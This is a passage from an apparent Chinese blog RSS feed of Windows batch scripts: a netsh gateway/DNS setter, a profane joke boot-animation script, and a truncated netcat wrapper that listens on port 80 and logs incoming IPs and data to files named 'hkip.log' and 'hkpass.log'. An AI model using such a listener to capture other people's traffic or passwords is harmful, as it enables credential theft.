style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /p GT_addr=请输入网关：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;netsh interface ip set address name=&quot;%NIC_name%&quot; gateway=%GT_addr% gwmetric=0&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem &#039;----------设置DNS----------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set DNS=0.0.0.0&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /p DNS=请输入DNS：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;netsh interface ip set dns name=&quot;%NIC_name%&quot; source=static addr=%DNS% register=PRIMARY&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;pause&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem &#039;/*=============获取网络连接名称==================&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:Get_NIC&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;NIC_flag=Ethernet&quot;&nbsp;&nbsp;%&#039;/*-----网卡标志 -------*/%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;tokens=1,2,3,* delims=: &quot; %%i in (&#039;ipconfig /all&#039;) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if &quot;%%i&quot;==&quot;%NIC_flag%&quot; set NIC_name=%%k &amp;&amp; goto :eof&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=750]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:47:50 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理 模拟 开机动画]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@echo off&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem code by&nbsp;</span><a href="http://blog.163.com/danghuadong@yeah/edit/" target="_blank" style="font-size: 13px;"><font color="#0070af">http://www.ff87.com/</font></a><span style="font-size: 13px;">&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::::::::::::::::::::::::::&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:生成vbs脚本，用来显示动画&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo CD=Wscript.Arguments(1)&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Str=Wscript.Arguments(0)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Time_Delay=Wscript.Arguments(2)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Switch1=Wscript.Arguments(3)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Switch2=Wscript.Arguments(4)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Str_Len=len(Str)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Show_Str Str,Str_Len,CD,Time_Delay,Switch1,Switch2&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo wscript.stdout.write vbcrlf&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Function Show_Str(str,strlen,CD,Speed,Switch1,Switch2)&gt;&gt;showplan.vbe&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo IF Ucase(Switch2)=^&quot;Y^&quot; then&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Show_Cursor 8,CD&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo End if&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo IF str^&lt;^&gt;^&quot;^&quot; then&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo For i=1 to strlen&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo if i mod 2=0 then&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Cursor=^&quot; ^&quot;&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo else&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Cursor=^&quot;_^&quot;&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo end if&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo IF i=strlen then&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Cursor=^&quot; ^&quot;&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo End if&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo IF Ucase(Switch1)=^&quot;Y^&quot; then&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo str1=str1 ^&amp; ^&quot;^&gt;^&quot;&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo wscript.stdout.write chr(13) ^&amp; CD ^&amp; str1^&amp;Left(str,79-i) ^&amp; chr(8)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Else&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo wscript.stdout.write chr(13) ^&amp; CD ^&amp; Left(str,i)^&amp;Cursor^&amp; chr(8)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo End if&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo wscript.sleep Speed&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Next&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Else&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Exit Function&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo End if&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo End Function&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Function Show_Cursor(Num,CD)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for i=1 to Num&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo if i mod 2=0 then&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Cursor=^&quot; ^&quot;&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo else&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Cursor=^&quot;_^&quot;&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo end if&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo wscript.stdout.write chr(13) ^&amp; CD ^&amp; Cursor ^&amp; chr(8)&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo wscript.sleep 200&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Next&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo End Function&gt;&gt;showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:初始设置;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str1=开机&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str2=快开机&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str3=他开机&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str4=你他妈到底开不开机&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str5=操!!再不开机老子砸了你!!&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str6=不是内部或外部命令，也不是可运行的程序&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str7=或批处理文件。&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str8================================================================================&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:::::::::::::::::::::::::::::::::::::::::::::::&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:主控程序；&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cscript.exe showplan.vbe %str1% &quot;%~dp0&gt;&quot; 120 &quot;&quot; &quot;Y&quot; //nologo&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call :Msg %str1%&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cscript.exe showplan.vbe %str2% &quot;%~dp0&gt;&quot; 100 &quot;&quot; &quot;Y&quot; //nologo&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call :Msg %str2%&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cscript.exe showplan.vbe %str3% &quot;%~dp0&gt;&quot; 180 &quot;&quot; &quot;Y&quot; //nologo&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call :Msg %str3%&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cscript.exe showplan.vbe %str4% &quot;%~dp0&gt;&quot; 180 &quot;&quot; &quot;Y&quot; //nologo&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call :Msg %str4%&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cscript.exe showplan.vbe %str5% &quot;%~dp0&gt;&quot; 80 &quot;&quot; &quot;Y&quot; //nologo&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cscript.exe showplan.vbe &quot;&quot; &quot;&quot; 100 &quot;&quot; &quot;Y&quot; //nologo&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Loading windows 2000 ...&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cscript.exe showplan.vbe %str8% &quot;&quot; 50 &quot;Y&quot; &quot;&quot; //nologo&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del showplan.vbe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto :eof&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:Msg&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ping -n 2 127.0.0.1&gt;nul&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo &#039;%1&#039;%str6%&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo %str7%&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=746]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:27:14 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[调用nc做嗅探的一个bat shell]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@echo off&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: Ncfoever 1.0 bulid by ALLyeSNO 2005-06-13&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 可用于tcp端口数据包的捕获&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::/* 参数判断以及使用说明 */&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set count=1&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if /i &quot;%1&quot;==&quot;-look&quot; goto nclook&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if /i &quot;%1&quot;==&quot;-log&quot; goto nclog&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo =======================================================================&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Ncforever 1.0 build by ALLyeSNO&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 功能：可用于tcp端口数据的捕获&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo =======================================================================&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo usage: ncforever -look&nbsp;&nbsp;监视模式(实时监控)&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo usage: ncforever -log&nbsp;&nbsp; 记录模式(hkip.log记录ip hkpass.log记录传输数据)&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto end&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::/* 监视和记录模块 */&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:nclook&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;title 嗅探监视模式&nbsp;</span><a href="http://blog.csdn.net/freexploit" target="_blank" style="font-size: 13px;"><font color="#0070af">http://blog.csdn.net/freexploit</font></a><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ============================中止程序请按ctrl+c=================================&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 第 1 次嗅探开始--^&gt; %date% %time%&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;nc -l -p 80&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 第 1 次嗅探结束--^&gt; %date% %time%&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:nc&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ============================中止程序请按ctrl+c=================================&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::/* set/a count+=1 bat里面新的计数表示方法 */&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a count+=1&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 第 %count% 次嗅探开始--^&gt; %date% %time%&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 